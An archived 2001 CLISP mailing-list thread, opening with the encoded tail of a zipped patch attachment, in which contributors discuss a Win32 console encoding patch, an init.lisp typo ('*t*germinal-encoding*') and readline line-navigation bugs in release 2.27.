JQQlBAoGBAUUBQk0BwYXCRor/Pz8+/v7DAssCywLPAssK6wMASIjFBU2N2iJmts8BQYSIxTl9pb3 0+n0j6KFcORuJ8wQ7g/aSSEcZTwK8x2G8AjjycnLyQjhbmcQddAb90N4Xbb7KefV47bm+4fYfP5J xs/NjZadGS0z6+fk5k6KisMOO+w/jBbCjfNaS1O9Z90acKft+YB7cnIIfrTM6NEm6XDXYBgM/zQ9 Roys/IwftsM1GAbDouL/BY512xHvbdu3woJgZHNE0PM4pvGnGqdX7RfeEe5jyXsVnjDvcBD3PF4b 1zWqPNsPibQf+8cu+CFouOWOLJyvY0ktADxgYIYFk9/anmM9n+X+YVzbMj/n9/uNvX7nUR1x7g2c j9XPjeWH4Dephz9CgtQbjH7CHS4iwfLL4RyeYPSDHs5fnuZ5Rwr1p7kf9n8YYUZMxazzLd4Q/L3E fp/ip7bzf+4PevlWRwSTH0xCOPVpJKylp3FrlETPyo+hUXX46RoFCfxTJrmUdwj+OBY/Du7P/w2P PmIlXOneIjaoL8Av0Dc8+InhycTwwE0MDz7H8CTH8MDlKBdmeO1HHvSwWuNQfMODjHwdIlXFQ3YU D9j2U74xB0PMcYrVSkwetQLXFisrHp6reKhcxYOGKejYE8FDTQQP2tCXjIxcrTxsh5+Tn8OWUBg+ mHr8aD+WbT9FfnvhCg35L+y/Ka2I434rYlLnbbff4Q+Br+EexeRYQQHeYHeEvOa1rD8E0ujb5Xt5 IjbMPGTQ+/e53uA+wnJftfpd+4m9wag7fHGOiADtvzdD6Pbxvw8Y/+uo0oe7hWL/mc8lYu0674gy FyO3Pomg6kJcW5W7zeKkUMdxxIJpWBK/zHfWO9z+xVyX3zD/uTyHlHLzm3MtUvkJH7EZbrnXiOYZ tjdU0EPsx7qw3rF+o7Rs3/aHvEF1YG+rh+r9Yf8J1cDG+k3SR+CaRrNaHfSNddzqsf2QgxI8vHyX 13sp9Pr5ufleh3IoGFA318wprQ1EvsO7d7m1w7ypc63G/hi8E+bDXsjSiOXmuuzxjbVQJhkmYTTn fI3U/JBrdPNNOvkhb1g8Cq/yYcFEMZYqQeQdABU6vj9WQSNf4pR60MHkPupXDeVL+AgHfyZng+3n NRih6BjOY2tW5z+rVNnaAEJBMGIMpwxCT36jMYav9a+VfT7rf3kS7g/49/80GvtsZbxUbiif88yG 4D9teB7AuAfN7oXHN7uLfpjrUMFEvBL7iZ2XFzuksf80rL/oa+y4Y49h3hCJbWV7MsmNPsnPEVee TCaTbGx9LTsMqpv7fpr72Undj/uuL3vj3Nc7GAmdraqR/9rY7vt4lmVT7Grcn+O9mjP6v476HZ7s 29fB5A/3xlxG389y7cffa06nazSgR6//GY5rtF/bt7u6qfd1ypinsdzbb57XkaAUqnWOkZeXpfWb dupal/3cN6DTbM7D2PZ9rNcSDuk0Jy8v1/wIxVOK50srUZq/gXHzFP/5fwLx5zv/5/wq/JrP/Rvh Hoef9be7nv8zAd2r4mv+j/Gb2x5P8zP+eVUrS3V7BKaP939W/cN+/LVUtEahFmj3/O/wkeKID8gk /defLYH0+Xl5efn//eHu89xpdsqPr1wLtlT9cDCRMr+OG/iNSLjodHNpDiUsmOad0BzmvNC8OTSH ya9qTzbNYRg9UHQWzWFArf9nMgwarKv2xqA5zHSheTNoDoPpFIYvUHVOhwtL/AKjYylRcW6Ely0w fsPFjqWKXRXekAiJn2Xxgwl5wsS+c5xbsJF3bbfv43W0SgTqZ+Q5eLyf7f6yN0YsqpeQwPpAP68S 1q/cT506Tqk1GuiT0u28UTvdxN4wYmo/8TU5PGrnfXugvkwyc/M9fWdOCLk4pA/l5F17TlDfRMcr HPFT5416L+2lHoXjKWy3hhG7ia2kxFbEKOPesP8KcFjWrd3haX/QC2PcHwyxrhExfuIL5obAUu3D Ruzmyz1iuduMXgDM3lth1Lf3dgajiJ13PAwBjEvkzqD1euvDiBl1e+2u8m+9obeS1eQjpiampLwd nMfKJOYHGOYDitomIA0EP5ts9zJvh+Jp+15gpuPGckXgGZL3SPuXvzQjk4xTiDdGfnauf1EephVe jZ7PdoT9qv/yHuGO2GiUzJQLpb1/M5yNahWhmLzmzrehcKVvZVT+2pi3dd8ilvY1L7Qfi+W8XiG9 80J3k3c6VOgSJajvccdHhL1Rv/BJ2ATb6WJ4SK1PdxKM4Y+QO6jQvOXaHVnINrjjEKF9Y+OYxIcI evh6JBuPENGyWxguP7xg20Mgkb/nFOQ0fDAybkzN+JaSp1rkB0L4YCQ7sGbNbElHQk/SbmetbUyW iHzHQxfIDvRdvpaINPSsSpnD4qZK6IthknKdp8O0Oy+leRk7OAIxOJDTfNCryqDyQ34J+ox62AhG E9TDwZg1PVDY88ceNpd+IcWL45tYEVQft28srJ9bwB8kJ3dizqp/OCcnRn7OxD9QRe0TPWsgTyU8 2q+KF/+SUCmDFukuiJWntO2l0nbByT3mcvPeJM9uyrRTIS37vDD6xbYqeuehW2E65c3AfySWqpMF soirTySCTgF9sFPqwqfUhUqgHjx1AYDvGBGGUYKRjEMgEtk4IRKCrUECenCwhsD1weXi+mByqRtV myq46IBWgdK5ajvJzc8FLJB1wIKk8ElzX5a9rOGbwZd8KZ/sp8bluMNDGBb0FSMhdMd6liIGiNAK uAxo7YAKy7FHE/59rTzh89UXTV5V1Hhcmx7XQ9yhmTHyJ5niTjKyAFnCf4PeRFmpMXd7OgE5MjSQ P53QDJvC6mCnsDoc5Fh4kFtZFFgdae+DhNVBIA1owNQE1nYMRISI1rUrZaBgx9FGJRiRBWFuxcSc zdxOn+RPsrJkTdzwM/PIA8bQX3js36AcyoJ8U7PHn0t1T7PwJgLElEblhxzbPXytRsvHKmlpvT4d H6fQwaR52AgBv5MCdTJByedC9cj/0xHNc0Y9ZNhh+/Gh0Y+FneaPw4kOEYxdBlcWUAsLjAMfyr0A WhqFEGwSSsOGDN2wYVphNgIi5CG3iuCUBzcNsxX+/yjKuBNx0Evp/oYFHm8nj/t9Xc6j1t+WXeb4 qEsA2ZK/ySYnE5PjjTwwt3kYEJQd0WDUyLNxWMcuESloJ9Y/r3/XFlQe+NCDEdDT2tF5YCkP76jT a3lwYU8071RvK6AHFzbpsFIuiiYSH0HDdJ6JzsP6Jb7Oa3cs8napstjTNlbCQ97IL03yS7n5IWfZ IIHgBjAwCaFbSFgV4GVD9M5GEQZ6sGxHWJyDnoHPzIkMGznBYV2Ik4ocierjvAnBc+KckGErJ2oA eWKcKEHYwgnK5uKbkGHrJoDJXbHpuCE8TuyiAg5XRaoBTQanQZObWQtXJAZlhfNfURhIlasIbQyo rMEIGYn0qszbBgJQR1PkjrQmvC1yh2a5bTjrna+7cWNxYpgfVcTj/srlixb5vjmVEc8hNNerNySy 6pgRgKS+U4KRYGLdYVq5RPu+emIoPwF1iof48fgbagYOoc19q98KNBFUxWEEArabPlxPfCBKgZmY dCGHZ2JYIbYcq1Eq+CEQAt/hA3p11JUBhhAPU/qw0MimD+EEv8adfYx36+g4+VMI/afI7YIfFokA Li0EW8AyEEcdlQEjcEipUYlTXiclNPpEU/bjbi6N5dx78ityUlB+SNE3gIdUzln3XoM6LaCBwNBd sMiuhNS7MXhXSY6bUjCBN6QlNE8kPpqHQC99GgWYOEpz9kVuKzgtNxhdIUE4PBhdYYeN3/CnEekK ldyBBntkPkYhsW4AG5RYYhw2sFRHwNhA0djAoOI2H0Z3hJgNIi8g3L+teWpzJJWNwLKBerDs80Na srLh+Aa4NPmDh6+aBZzar7tfkyNHHepC6IugkE7liaC5BeCUQXBRKiimU3kt+ALgHBMJTEMDVELQ nQvBwianVB7StOEF5i4C2RI4hwY9Dls4CkhyDEbwg8nvX2tpmjIfCZrrfURzub8VA4+XQlyJ+GzY 4Edkg7q+xwOVWc2bIXQ3FnuzRM7liPmf5UhHkLA9+dDs9P1mjMt5HyBT7APPe/E8gbwFX366yOpF GaQPjYEO4zw1Og41wnJo8I9ygY2U51TeKJyrjv5YJ0jHhQDDdAE6JIwWo9stEp/TcpM1xzk057p8 1tmB8rIJkYJya1pssoW9FsSCtNTnQbRwIYUl/36XHY8zftsz2KmBFZczhQUNerzc9DyCZSALYpWf 8HTSyPYRSzdLFtNBwj+it/qhy3dZUr2Q587/ufnf+ADVRpI9RAo/S6Piq04QKatPPE2kjIyxuOrT Egm3JFSFXg544Cvs8YJpWGrUn0hMt76J/HppEm/HC5mL9PAIYTokTGIJXAxjYDUz+i4OPLSAuKo8 NMvipMDmiGBy1Qhh/4m9wQgfZJgT0lhEz+6/sfMIS/u7heCwGpESoBFlLqpPMMEdrtK1cQPrikUv 8ctkZ8jhbC4FXYR4XUBYlvBhWIe6sY4I26JF7TChH+s3uV6UOw3LV6iDv6VOoS7grpH9igZo2Ea8 ztOI8Y1VQrm5FmI1ExbGcs4XsCTk+mu+6pofcoI1H2KBK5gzwRYiUs2Jh7hLUpEn1GDE8KiItT+G OhtdCRtnu2idWB2urWHBhCZ+1YCGFBbb2rt3GcgVaUcJIybHUprjkhpc31VhDcZhUyaNyXUh5pyY FO2/1/FD5L4aSpg+c+3fQuyPHxncyFQn2uWv1bt5e2ESTGB0JdFdGHKQsoi+CCPBBJgXkTea4ZGe aMme5OTnRPdENys7Nz8rkxNNlWAE0iIlIVQL1Jmt/PKMGW8qo9fSTQRXsDP2viuncU6zPFthLCiN GpMInCGp35jbZ43YwPhEnYi6+Y39BCPtnzIIPfmNpuN/CYKuDPpZ/8uTcJtwuzswMx9UIFaJkkd8 DiZ/JPl9P2W3DtmnXmd9bVSuTbFpNJBRBYTRDaiFaKEZJjMAB2WIoQse/GQi/io/SuHumzxdtudY TzfErggDqLDU35xrkZR9KJNAhBwA0XEAY+OADbkDnqiNdV3V+XxrLtYIhwtEDBcswhv2hMPVkNM0 WD4f6e9z6lyrFWIoYvfzLS4hb7DDjl/rl9+haDVmTL173G6/nVYh9qy9ho1LxHXTzJEnuDIO4yAV Bh6TMMWJweDGhyA+ktu1EoEJfn/QTkpJ7PUKy2pxQk8hQVYCwcSS+LZ/GlhgJCkg8YgrTHK5dj7V Vd53xFSSankJV8I9g2U4zMMGA9awIQ8AcuSBGdx3Ctsb7R/z9iN3Bq13SkLpv7fzmZsLFSTPIPxr QSLIn6e/H+gxsKMrkaLcEYdzyQofdatz5lQ/qVDiiXhv277BeOm84+E0NbTWC/3LQSKoVk9Qe76D F+Ua8URBNuUBodRLTCUevhODtt+BpBjxOLE8wDFuH2vQqV1NOQRHhe+gSgl8F4knYn0ul8PxPUnv GybfM01a77m+13CYKjDwsI2kY7HGAEF3n8+Ky2hv0Id7+xofwk80kgezIQWnNDou2MRwQHEzCeWJ 4UzS1POk/YZo4tsbvbAH4inFcsoV/pjLEXNZFwtU+ahiu+by+ModkbiSoEe4LRI3i+AxD40fgcc8 4PijZUYRAlJmOGEEp3lojAC85gHLEazWGEogag0DiTDMYzjBmKdEAYl5HCuA1hk0VQBeZ4DDCkQr iAcCgjBAARRceRhjQHAWjHnAaAaQPD54zgDG9VCYAaD1FTZeAGRQ0svguJhxUii1gLzXc17rdeNB LWhKRGzoFuaKGCRCxMYq9ouKA1BLAQILAAoAAAAGADS39irKAiClbwEAABADAAAMAAAAAAAAAAEA IAAAAAAAAABQQVRITkFNRS5ESUZQSwECCwAKAAYABgBut/Yqzg16PD8RAABfPAAACgAAAAAAAAAB ACAAAACZAQAAU1RSRUFNLkRJRlBLBQYAAAAAAgACAHIAAAAAEwAAAAA= ------------10455DC8DDD9AD-- From sds@gnu.org Mon Jul 23 08:47:03 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15OhvD-0007mo-00 for ; Mon, 23 Jul 2001 08:47:03 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id LAA06408; Mon, 23 Jul 2001 11:47:00 -0400 (EDT) X-Envelope-To: To: Arseny Slobodjuck Cc: CLISP-LIST Subject: Re: [clisp-list] win32 SCREEN: implementation References: <14962.010722@crosswinds.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <14962.010722@crosswinds.net> Date: 23 Jul 2001 11:46:02 -0400 Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <14962.010722@crosswinds.net> > * On the subject of "[clisp-list] win32 SCREEN: implementation" > * Sent on Sun, 22 Jul 2001 23:06:07 +1000 > * Honorable Arseny Slobodjuck writes: > > An window-stream, used to console output should contain encoding > information in extra field 'strm_encoding'. I'm trying to allocate > additional memory for it in call to 'allocate_stream' and set that > field to 'O(default_file_encoding)' for example. When I read this > field in the call to wr_ch_window however I got something strange > instead of encoding. Same situation with keyboard. So I moved that > O's directly to stream processing functions. you have commented out code with "TheStream(stream_)". stream_ is a pointer to an object, not an object, so the correct code is "TheStream(*stream_)" > Diffs with 2.27 release sources are attached. Thanks. Could you please supply a detailed ChangeLog entry? In particular, why are you changing pathname.d? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on The world will end in 5 minutes. Please log out. From ampy@crosswinds.net Tue Jul 24 07:11:26 2001 Received: from out-mx1.crosswinds.net ([209.208.163.38]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15P2uD-0007rs-00 for ; Tue, 24 Jul 2001 07:11:25 -0700 Received: from member-mx1.crosswinds.net (member-mx1.crosswinds.net [209.208.163.43]) by out-mx1.crosswinds.net (Postfix) with ESMTP id 2DD145D5D1 for ; Tue, 24 Jul 2001 10:11:23 -0400 (EDT) Received: from 212.16.216.102 (unknown [212.16.216.102]) by member-mx1.crosswinds.net (Postfix) with ESMTP id BD2B44CBBE for ; Tue, 24 Jul 2001 10:11:19 -0400 (EDT) Date: Wed, 25 Jul 2001 01:12:52 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.36) S/N 2E4DE539 Reply-To: Arseny Slobodjuck X-Priority: 3 (Normal) Message-ID: <450.010725@crosswinds.net> To: CLISP-LIST Subject: Re[2]: [clisp-list] win32 SCREEN: implementation In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hello, Tuesday, July 24, 2001, 1:46:02 AM, you wrote: SS> you have commented out code with "TheStream(stream_)". SS> stream_ is a pointer to an object, not an object, SS> so the correct code is "TheStream(*stream_)" thanks SS> Could you please supply a detailed ChangeLog entry? SS> In particular, why are you changing pathname.d? 2001-07-18 Arseny Slobodjuck * stream.d [WIN32_NATIVE] (rd_ch_keyboard): changed test (..uAsciiChar <= ' ') to ((uintB)..uAsciiChar <= ' ') since uAsciiChar is signed in MSVC (!). 'WIN' key added to translation table just to avoid 'unknown keyboard event' messages. added OEM to local charset translation and then local to internal (for UNICODE) WIN32 console output: (InitConsole): GENERIC_READ is useless. (move_ccp_by): new function, moves cursor position (v_emit_spaces): helper function (v_put): processing Y overflow, subsequent output continues on the top of screen. It differs from DOS behavior where subsequent chars being written to bottom right of the screen (as far as I can see from code). (v_puts): new function, buffered console output. (wr_ch_array_window): new function instead of dummy which slowly works through v_put. Handles newlines and bottom of screen like v_put does. (wr_ch_window): changed to handle UNICODE internal format (make_window): allocates and sets strm_encoding as default_file_encoding * pathname.d (legal_namechar) removed character codes 197 and 206 from illegal character code list as in CP1251 they are legal for pathnames. Wondering, why that codes are there. That what was done so far. However while I'm diving deeper into charsets more problems appear. First, I can't access custom:*TERMINAL-ENCODING* while custom:*PATHNAME-ENCODING* is accessible. I didn't tried official build although. I think encoding for keyboard input (through *TERMINAL-IO*) and console output should be the same (*TERMINAL-ENCODING*). -- Best regards, Arseny mailto:ampy@crosswinds.net From ampy@crosswinds.net Tue Jul 24 07:20:05 2001 Received: from out-mx1.crosswinds.net ([209.208.163.38]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15P32a-00019X-00 for ; Tue, 24 Jul 2001 07:20:05 -0700 Received: from member-mx1.crosswinds.net (member-mx1.crosswinds.net [209.208.163.43]) by out-mx1.crosswinds.net (Postfix) with ESMTP id A6EE55D35A; Tue, 24 Jul 2001 10:20:03 -0400 (EDT) Received: from 212.16.216.102 (unknown [212.16.216.102]) by member-mx1.crosswinds.net (Postfix) with ESMTP id A8D794CBCE; Tue, 24 Jul 2001 10:19:59 -0400 (EDT) Date: Wed, 25 Jul 2001 01:21:32 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.36) S/N 2E4DE539 Reply-To: Arseny Slobodjuck X-Priority: 3 (Normal) Message-ID: <656.010725@crosswinds.net> To: Sam Steingold Cc: CLISP-LIST Subject: Re[2]: [clisp-list] win32 SCREEN: implementation In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hello, --- \2.27\ORIGINAL\init.lisp Mon Jun 18 17:31:02 2001 +++ \2.27\CHANGED\init.lisp Wed Jul 25 01:01:42 2001 @@ -314,7 +314,7 @@ *load-echo* *applyhook* *evalhook* *load-compiling* *compile-warnings* *ansi* *default-file-encoding* ; places.lisp #+UNICODE *misc-encoding* - #+UNICODE *t*germinal-encoding* + #+UNICODE *terminal-encoding* #+UNICODE *pathname-encoding* *source-file-types* *compiled-file-types*) "CUSTOM") -- Best regards, Arseny mailto:ampy@crosswinds.net From sds@gnu.org Tue Jul 24 12:29:19 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15P7rq-0006iI-00 for ; Tue, 24 Jul 2001 12:29:18 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id PAA25982; Tue, 24 Jul 2001 15:29:11 -0400 (EDT) X-Envelope-To: To: Arseny Slobodjuck Cc: CLISP-LIST Subject: Re: Re[2]: [clisp-list] win32 SCREEN: implementation References: <450.010725@crosswinds.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <450.010725@crosswinds.net> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 Date: 24 Jul 2001 15:28:31 -0400 Message-ID: Lines: 40 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi, > * In message <450.010725@crosswinds.net> > * On the subject of "Re[2]: [clisp-list] win32 SCREEN: implementation" > * Sent on Wed, 25 Jul 2001 01:12:52 +1000 > * Honorable Arseny Slobodjuck writes: > > Tuesday, July 24, 2001, 1:46:02 AM, you wrote: > SS> please do not abbreviate me as "SS". this abbreviation has certain unsavory connotations, especially for a Jew. I set "X-Attribution" header _specifically_ for supersite, which is supposed to respect it. > SS> so the correct code is "TheStream(*stream_)" > thanks I will wait for the next version of your patch, incorporating this. (as well as an updated ChangeLog entry). I suggest that you use CVS - get cygwin, it includes it. > * pathname.d (legal_namechar) > removed character codes 197 and 206 from illegal character code > list as in CP1251 they are legal for pathnames. Wondering, why > that codes are there. committed - thanks. > First, I can't access custom:*TERMINAL-ENCODING* yeah - I fixed it (even before you sent your patch :-) Thanks. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on An elephant is a mouse with an operating system. From ampy@crosswinds.net Tue Jul 24 17:58:51 2001 Received: from out-mx1.crosswinds.net ([209.208.163.38]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15PD0k-0003Kl-00 for ; Tue, 24 Jul 2001 17:58:50 -0700 Received: from member-mx1.crosswinds.net (member-mx1.crosswinds.net [209.208.163.43]) by out-mx1.crosswinds.net (Postfix) with ESMTP id 3E3AF5D34F; Tue, 24 Jul 2001 20:58:48 -0400 (EDT) Received: from 212.107.205.50 (unknown [212.107.205.50]) by member-mx1.crosswinds.net (Postfix) with ESMTP id 30FCA4CC06; Tue, 24 Jul 2001 20:58:45 -0400 (EDT) Date: Wed, 25 Jul 2001 12:03:51 +1000 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck X-Priority: 3 (Normal) Message-ID: <66131965586.20010725120351@crosswinds.net> To: Sam Steingold Cc: clisp-list@lists.sourceforge.net Subject: Re[4]: [clisp-list] win32 SCREEN: implementation In-reply-To: References: <450.010725@crosswinds.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hello Sam, Wednesday, July 25, 2001, 5:28:31 AM, you wrote: Sam> please do not abbreviate me as "SS". Sam> I set "X-Attribution" header _specifically_ for supersite, Sam> which is supposed to respect it. Ok, sorry, I understand. Sam> I will wait for the next version of your patch, incorporating this. Sam> (as well as an updated ChangeLog entry). Yes, I going to polish all that. -- Best regards, Arseny mailto:ampy@crosswinds.net From peter.wood@worldonline.dk Sat Jul 28 02:08:26 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15QQ5A-0000pC-00 for ; Sat, 28 Jul 2001 02:08:24 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 0B18FB4C5 for ; Sat, 28 Jul 2001 11:08:21 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f6S91OQ00388; Sat, 28 Jul 2001 11:01:24 +0200 Date: Sat, 28 Jul 2001 11:01:24 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20010728110124.B353@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] custom:*t*germinal-encoding*?? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi Using 2.27 on Gnu/Linux built at home. What is custom:*t*germinal-encoding* ? And where is custom:*terminal-encoding* ? ;-) Regards, Peter From peter.wood@worldonline.dk Sat Jul 28 02:08:27 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15QQ5A-0000pD-00 for ; Sat, 28 Jul 2001 02:08:25 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 9370BB4D1 for ; Sat, 28 Jul 2001 11:08:21 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f6S8utO00377; Sat, 28 Jul 2001 10:56:55 +0200 Date: Sat, 28 Jul 2001 10:56:55 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20010728105655.A353@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] bug(s) in next-line-virtual Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi Using 2.27 on Gnu/Linux, built at home. Maybe these were included in the release (2.27) by mistake, since I did not see them in the 'user-visible changes' list of the announcement, but anyway: META/ESC-n does not work in a multi-line form. META/ESC-p does not seem to work properly. If I type: (defun foo (a b) (list a b)) foo gets defined and the entry gets stored in history so I can recall the whole thing with C-p. BUT ESC-p first moves the cursor to the beginning of the line, and only then moves it to the line above. ESC-n moves the cursor to the end of the line, and does _not_ move it to the line below. In addition, parenthesis matching does not work across lines. Are clispers supposed to count parens? Regards, Peter From sds@gnu.org Sat Jul 28 09:53:34 2001 Received: from out2.prserv.net ([32.97.166.32] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15QXLK-0004fA-00 for ; Sat, 28 Jul 2001 09:53:34 -0700 Received: from xchange.com (slip-129-37-99-111.tx.us.prserv.net[129.37.99.111]) by prserv.net (out2) with ESMTP id <20010728165325202035n6ske>; Sat, 28 Jul 2001 16:53:26 +0000 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] custom:*t*germinal-encoding*?? References: <20010728110124.B353@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010728110124.B353@localhost.localdomain> Date: 28 Jul 2001 12:53:06 -0400 Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010728110124.B353@localhost.localdomain> > * On the subject of "[clisp-list] custom:*t*germinal-encoding*??" > * Sent on Sat, 28 Jul 2001 11:01:24 +0200 > * Honorable Peter Wood writes: > > Using 2.27 on Gnu/Linux built at home. > What is custom:*t*germinal-encoding* ? > And where is custom:*terminal-encoding* ? fixed in the CVS - thanks for reporting the bug. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on An elephant is a mouse with an operating system. From sds@gnu.org Sat Jul 28 09:58:39 2001 Received: from out4.prserv.net ([32.97.166.34] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15QXQF-0005gt-00 for ; Sat, 28 Jul 2001 09:58:39 -0700 Received: from xchange.com (slip-129-37-99-111.tx.us.prserv.net[129.37.99.111]) by prserv.net (out4) with ESMTP id <20010728165834204054ue0pe>; Sat, 28 Jul 2001 16:58:37 +0000 To: Peter Wood Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] bug(s) in next-line-virtual References: <20010728105655.A353@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010728105655.A353@localhost.localdomain> Date: 28 Jul 2001 12:58:15 -0400 Message-ID: Lines: 43 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.105 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010728105655.A353@localhost.localdomain> > * On the subject of "[clisp-list] bug(s) in next-line-virtual" > * Sent on Sat, 28 Jul 2001 10:56:55 +0200 > * Honorable Peter Wood writes: > > Using 2.27 on Gnu/Linux, built at home. > > Maybe these were included in the release (2.27) by mistake, since I > did not see them in the 'user-visible changes' list of the you are right - this should have been mentioned. > announcement, but anyway: > > META/ESC-n does not work in a multi-line form. > META/ESC-p does not seem to work properly. > > If I type: > > (defun foo (a b) > (list a b)) > > foo gets defined and the entry gets stored in history so I can recall > the whole thing with C-p. BUT ESC-p first moves the cursor to the > beginning of the line, and only then moves it to the line above. > ESC-n moves the cursor to the end of the line, and does _not_ move it > to the line below. these work for me (more or less) on Solaris. can you fix the problems you are observing? see previous_line_virtual() and next_line_virtual() in stream.d > In addition, parenthesis matching does not work across lines. please complain to the GNU Readline maintainer Chet Ramey . -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend 